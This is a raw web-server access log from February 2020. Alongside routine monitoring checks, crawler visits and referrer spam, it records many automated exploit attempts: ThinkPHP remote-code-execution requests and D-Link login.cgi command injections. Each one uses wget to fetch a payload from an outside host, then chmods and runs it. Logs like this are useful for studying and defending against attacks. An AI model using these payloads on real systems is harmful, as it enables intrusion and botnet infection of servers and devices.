193.56.151.61 - - [10/Feb/2020:11:07:20 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.61 - - [10/Feb/2020:11:07:24 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.61 - - [10/Feb/2020:11:07:25 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.61 - - [10/Feb/2020:11:07:25 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.61 - - [10/Feb/2020:11:07:28 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.61 - - [10/Feb/2020:11:07:28 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.61 - - [10/Feb/2020:11:07:28 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
212.91.246.72 - - [10/Feb/2020:11:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.77.144 - - [10/Feb/2020:11:09:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.152.58.237 - - [10/Feb/2020:11:11:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:11:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.121.170 - - [10/Feb/2020:11:15:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.15.191.231 - - [10/Feb/2020:11:22:43 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Barkrowler/0.9 (+https://babbar.tech/crawler)"
37.151.84.252 - - [10/Feb/2020:11:23:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.15.191.231 - - [10/Feb/2020:11:23:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Barkrowler/0.9 (+https://babbar.tech/crawler)"
212.91.246.72 - - [10/Feb/2020:11:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.203.2.248 - - [10/Feb/2020:11:24:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.56.179.69 - - [10/Feb/2020:11:25:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [10/Feb/2020:11:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.133.58 - - [10/Feb/2020:11:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
42.118.171.42 - - [10/Feb/2020:11:26:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.84.74 - - [10/Feb/2020:11:30:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.20.85 - - [10/Feb/2020:11:32:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.20.29.126 - - [10/Feb/2020:11:35:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.34.216 - - [10/Feb/2020:11:35:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.200.223 - - [10/Feb/2020:11:38:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.141.208 - - [10/Feb/2020:11:42:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [10/Feb/2020:11:43:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.160.50 - - [10/Feb/2020:11:48:59 +0100] "GET / HTTP/1.1" 200 1229 "https://puzzleweb.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
46.119.160.50 - - [10/Feb/2020:11:48:59 +0100] "GET / HTTP/1.1" 200 1229 "https://jav-fetish.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)"
46.119.160.50 - - [10/Feb/2020:11:49:00 +0100] "GET / HTTP/1.1" 200 1229 "https://puzzleweb.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
46.119.160.50 - - [10/Feb/2020:11:49:00 +0100] "GET / HTTP/1.1" 200 1229 "https://jav-fetish.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)"
46.119.160.50 - - [10/Feb/2020:11:49:00 +0100] "GET / HTTP/1.1" 200 1229 "https://puzzleweb.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
46.119.160.50 - - [10/Feb/2020:11:49:00 +0100] "GET / HTTP/1.1" 200 1229 "https://jav-fetish.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)"
212.91.246.72 - - [10/Feb/2020:11:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.137 - - [10/Feb/2020:11:50:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.60.153 - - [10/Feb/2020:11:51:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.204 - - [10/Feb/2020:11:52:04 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.204 - - [10/Feb/2020:11:52:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [10/Feb/2020:11:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.207.24.218 - - [10/Feb/2020:11:55:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
1.55.150.101 - - [10/Feb/2020:11:55:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.104.146.21 - - [10/Feb/2020:11:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.119.250.70 - - [10/Feb/2020:11:55:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.82.246 - - [10/Feb/2020:11:57:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.224.17.19 - - [10/Feb/2020:11:57:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.127.133 - - [10/Feb/2020:11:59:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.79.31 - - [10/Feb/2020:12:00:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:12:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.10.250.139 - - [10/Feb/2020:12:03:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:12:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.34.250 - - [10/Feb/2020:12:04:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:12:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.56.78.64 - - [10/Feb/2020:12:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [10/Feb/2020:12:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.189.199 - - [10/Feb/2020:12:09:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:12:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.35.173.108 - - [10/Feb/2020:12:11:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [10/Feb/2020:12:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.50.190 - - [10/Feb/2020:12:12:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:12:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.114 - - [10/Feb/2020:12:14:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:12:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.146.76 - - [10/Feb/2020:12:17:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:12:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.71.182.143 - - [10/Feb/2020:12:18:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:12:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.79.5.190 - - [10/Feb/2020:12:19:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.119.171.190 - - [10/Feb/2020:12:20:25 +0100] "GET / HTTP/1.1" 200 1229 "http://www.gelendzhic.ru/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.119.171.190 - - [10/Feb/2020:12:20:26 +0100] "GET / HTTP/1.1" 200 1229 "http://www.gelendzhic.ru/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.119.171.190 - - [10/Feb/2020:12:20:26 +0100] "GET / HTTP/1.1" 200 1229 "http://www.gelendzhic.ru/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
212.91.246.72 - - [10/Feb/2020:12:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
